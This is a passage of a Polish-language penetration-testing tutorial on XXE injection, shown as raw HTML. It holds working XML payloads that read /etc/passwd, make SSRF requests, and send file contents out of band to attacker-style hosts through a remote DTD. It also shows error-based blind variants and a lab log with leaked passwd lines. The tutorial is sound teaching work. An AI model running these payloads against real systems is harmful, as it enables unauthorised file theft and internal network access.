a parametryczne lokujemy w samym DTD (odróżniamy je znakiem % zarówno w trakcie
ich definiowania jak i użycia -&amp;gt; &lt;code>%more_dtd;&lt;/code>);&lt;/li>
&lt;li>po drugie encje parametryczne mogą mieć wartości zamieszczone bezpośrednio
w strukturze dokumentu lub sczytane z innej lokalizacji, wewnętrzne tylko zawarte
w pliku, a zewnętrzne jedynie zaimportowane z innej lokacji - np. pliku na dysku
czy innego serwera.&lt;/li>
&lt;/ul>
&lt;p>Dane z dysku lub innego serwera, do którego testowana maszyna ma dostęp? To brzmi
dość zachęcająco z perspektywy pentestu. Zobaczmy zatem, czy jest związana z tym
jakaś podatność&amp;hellip;&lt;/p>
&lt;h2>XXE Injection - trochę teorii&lt;span class="hx:absolute hx:-mt-20" id="xxe-injection---trochę-teorii">&lt;/span>
&lt;a href="#xxe-injection---troch%c4%99-teorii" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Poniżej przedstawię w teorii przykłady wykorzystania XXE Injection. Następnie przyjrzymy
się wykorzystaniu niektórych z nich w praktyce. Na potrzeby prezentacji załóżmy,
że dane w postaci XML wysyłamy zapytaniem HTTP do serwera np. księgarni internetowej
celem sprawdzenia dostępności interesującej nas pozycji. Aplikacja zwraca nam wszystkie
dane wraz z dodatkowym tagiem zawierającym odpowiedź o dostępności pozycji, oraz
że zdefiniowany znacznik &lt;code>id&lt;/code> jest typu PCDATA.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-xml" data-lang="xml">&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;question&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;id&amp;gt;&amp;lt;/id&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;storeCode&amp;gt;&amp;lt;/storeCode&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;/question&amp;gt;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;h2>LFI via XXE Injection&lt;span class="hx:absolute hx:-mt-20" id="lfi-via-xxe-injection">&lt;/span>
&lt;a href="#lfi-via-xxe-injection" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Prawdopodobnie najpopularniejszym atakiem umożliwiającym pozyskanie z serwera plików,
które pomogą nam w dalszej penetracji systemu, jest poniższy przykład. Wykorzystujemy
w nim pojedynczą zewnętrzną encję &lt;code>&amp;amp;lfi;&lt;/code> w celu załadowania do odpowiedzi zawartości
pliku &lt;code>/etc/passwd&lt;/code>, uwzględniając założenie, że serwer zwraca wszystkie wartości
z zapytania.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-xml" data-lang="xml">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;!DOCTYPE xxe [
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp"> &amp;lt;!ENTITY lfi SYSTEM &amp;#34;file:///etc/passwd&amp;#34;&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">]&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;question&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;id&amp;gt;&lt;/span>&lt;span class="ni">&amp;amp;lfi;&lt;/span>&lt;span class="nt">&amp;lt;/id&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;storeCode&amp;gt;&lt;/span>1&lt;span class="nt">&amp;lt;/storeCode&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;/question&amp;gt;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>W niektórych implementacjach parserów XML napisanych w Javie istnieje możliwość
wylistowania interesującego nas katalogu poprzez podanie właściwej ścieżki w definicji
encji, np. dla katalogu głównego zapis wyglądałby w następujący sposób: &lt;code>file:///&lt;/code>.&lt;/p>
&lt;h2>SSRF via XXE Injection&lt;span class="hx:absolute hx:-mt-20" id="ssrf-via-xxe-injection">&lt;/span>
&lt;a href="#ssrf-via-xxe-injection" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>&lt;em>SSRF via XXE Injection&lt;/em> polega na zmuszeniu naszego serwera do wysłania zapytania.
Oczywiście nie jest to jedyna możliwość, gdyż w zależności od sytuacji za pomocą
SSRF możemy na przykład zenumerować wewnętrzną sieć hosta, wyeksponować dane wrażliwe
(np. odpytując inne usługi na localhoście), odczytać metadane z usług w chmurze
(&lt;code>http://169.254.169.254&lt;/code>), czy też w pełni narazić usługę wewnętrzną na RCE.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-xml" data-lang="xml">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;!DOCTYPE xxe [
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp"> &amp;lt;!ENTITY ssrf SYSTEM &amp;#34;http://bad.server.xyz&amp;#34;&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">]&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;question&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;id&amp;gt;&lt;/span>&lt;span class="ni">&amp;amp;ssrf;&lt;/span>&lt;span class="nt">&amp;lt;/id&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;storeCode&amp;gt;&lt;/span>1&lt;span class="nt">&amp;lt;/storeCode&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;/question&amp;gt;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;h2>SSRF and LFI via XXE Injection&lt;span class="hx:absolute hx:-mt-20" id="ssrf-and-lfi-via-xxe-injection">&lt;/span>
&lt;a href="#ssrf-and-lfi-via-xxe-injection" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>W przypadku braku możliwości zwrócenia wartości pożądanego pliku - sytuacja
Out-Of-Band - wykorzystujemy połączenie SSRF oraz LFI celem wysłania informacji
na nasz prywatny serwer.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-xml" data-lang="xml">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;!DOCTYPE xxe [
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp"> &amp;lt;!ENTITY % lfi SYSTEM &amp;#34;file:///etc/passwd&amp;#34;&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="cp">&amp;lt;!ENTITY % vicious SYSTEM &amp;#34;http://hackerMENvps.xyz/vicious.dtd&amp;#34;&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">%vicious;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">]&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;question&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;id&amp;gt;&lt;/span>&lt;span class="ni">&amp;amp;get_file;&lt;/span>&lt;span class="nt">&amp;lt;/id&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;storeCode&amp;gt;&lt;/span>1&lt;span class="nt">&amp;lt;/storeCode&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;/question&amp;gt;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>DTD na naszym serwerze - &lt;code>vicious.dtd&lt;/code>:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-xml" data-lang="xml">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;!ENTITY % sender &amp;#34;&amp;lt;!ENTITY get_file SYSTEM &amp;#39;http://hackerMENvps.xyz/?file=%lfi;&amp;#39;&amp;gt;&lt;/span>&amp;#34;&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">%sender;&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Niestety w przeprowadzonych przeze mnie testach nie okazało się to takie proste.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;pre>&lt;code>[Fri Oct 20 17:47:20.651369 2023] [:error] [pid 10] [client 192.168.0.10:55784]
PHP Warning: DOMDocument::loadXML(): Invalid URI: http://192.168.0.10:4444/
?file=root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/
nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin
/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\n [...] in /app/process.php
on line 5, referer: http://192.168.0.7:5000/
[Fri Oct 20 17:47:20.651884 2023] [:error] [pid 10] [client 192.168.0.10:55784]
PHP Warning: DOMDocument::loadXML(): Failure to process entity get_file in Entity,
line: 10 in /app/process.php on line 5, referer: http://192.168.0.7:5000/&lt;/code>&lt;/pre>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Zawartość plików z reguły zawiera znaki niedozwolone z perspektywy URI, a taki właśnie
format tutaj musimy wykorzystać. Skorzystamy więc do tego celu np. wraperów php,
o których wspomnę później.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-xml" data-lang="xml">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;!ENTITY % lfi SYSTEM &amp;#34;php://filter/convert.base64-encode/resource=/etc/passwd&amp;#34;&amp;gt;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Najprawdopodobniej część z Was postanowi zadać w tym miejscu intrygujące pytanie:
dlaczego do przeprowadzenia tego ataku wykorzystujemy DTD znajdujące się na zewnętrznym
serwerze, skoro całe zapytanie mogłoby wyglądać następująco?&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-xml" data-lang="xml">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;!DOCTYPE xxe [
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp"> &amp;lt;!ENTITY % lfi SYSTEM &amp;#34;file:///etc/passwd&amp;#34;&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="cp">&amp;lt;!ENTITY get_file SYSTEM &amp;#34;http://hackerMENvps.xyz/?file=%lfi;&amp;#34;&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">]&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;question&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;id&amp;gt;&lt;/span>&lt;span class="ni">&amp;amp;get_file;&lt;/span>&lt;span class="nt">&amp;lt;/id&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;storeCode&amp;gt;&lt;/span>1&lt;span class="nt">&amp;lt;/storeCode&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;/question&amp;gt;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Twórcy standardu XML-a mając na uwadze bezpieczeństwo, uniemożliwili niestety
zagnieżdżenie encji parametrycznej w definicjach innych encji, czyli pomiędzy
cudzysłowami - &lt;a href="https://www.w3.org/TR/xml/#wfc-PEinInternalSubset"target="_blank" rel="noopener">dokumentacja&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.
Zasada ta jednak działa jedynie w przypadku pojedynczego DTD, co oznacza, że jeżeli
uda nam się naszego OOB rozłożyć na dwa pliki (tak ja w pierwszym przykładzie)
parser nie powinien zgłosić nam żadnego błędu.&lt;/p>
&lt;p>W przypadku Error-Based blind XXE Injection wykorzystujemy wyświetlaną przez aplikację
webową informację o błędzie celem odfiltrowania pliku lub danych w nim zawartych.
Oczywiście już sam komunikat o błędzie udostępnia nam trochę informacji. Poprzez
odpowiednie zmodyfikowanie DTD na naszym serwerze możemy pozyskać interesujące nas
dane.&lt;/p>
&lt;p>DTD na naszym serwerze - &lt;code>vicious.dtd&lt;/code>:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-xml" data-lang="xml">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;!ENTITY % get_error &amp;#34;&amp;lt;!ENTITY get_file SYSTEM &amp;#39;file:///invalid_path_or_sth/%lfi;&amp;#39;&amp;gt;&lt;/span>&amp;#34;&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">%get_error;&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Lub w przypadku gdy nie mamy możliwości użycia znacznika PCDATA z następującej
kombinacji dwóch DTD:&lt;/p>
&lt;p>DTD - payload wysyłany z żądaniem:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-xml" data-lang="xml">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;!DOCTYPE xxe [
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp"> &amp;lt;!ENTITY % vicious SYSTEM &amp;#34;http://hackerMENvps.xyz/vicious.dtd&amp;#34;&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> %vicious;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">]&amp;gt;&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>DTD na naszym serwerze - &lt;code>vicious.dtd&lt;/code>:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-xml" data-lang="xml">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;!ENTITY % lfi SYSTEM &amp;#34;file:///etc/passwd&amp;#34;&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;!ENTITY % get_error &amp;#34;&amp;lt;!ENTITY &amp;amp;#x25; error SYSTEM &amp;#39;file:///invalid_path_or_sth/%file;&amp;#39;&amp;gt;&lt;/span>&amp;#34;&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">%get_error;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">%error;&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>&lt;code>&amp;amp;#x25;&lt;/code> - jest znakiem procenta (kodowanym w hex) informującym nas, że mamy
do czynienia z encją parametryczną.&lt;/p>
&lt;p>Jeśli nasza aplikacja dodatkowo przyjmuje i zwraca atrybuty (i ich wartości) możemy
spróbować wyciągnąć pliki na poniższej zasadzie.&lt;/p>
&lt;p>Zapytanie:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-xml" data-lang="xml">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;!DOCTYPE xxe [
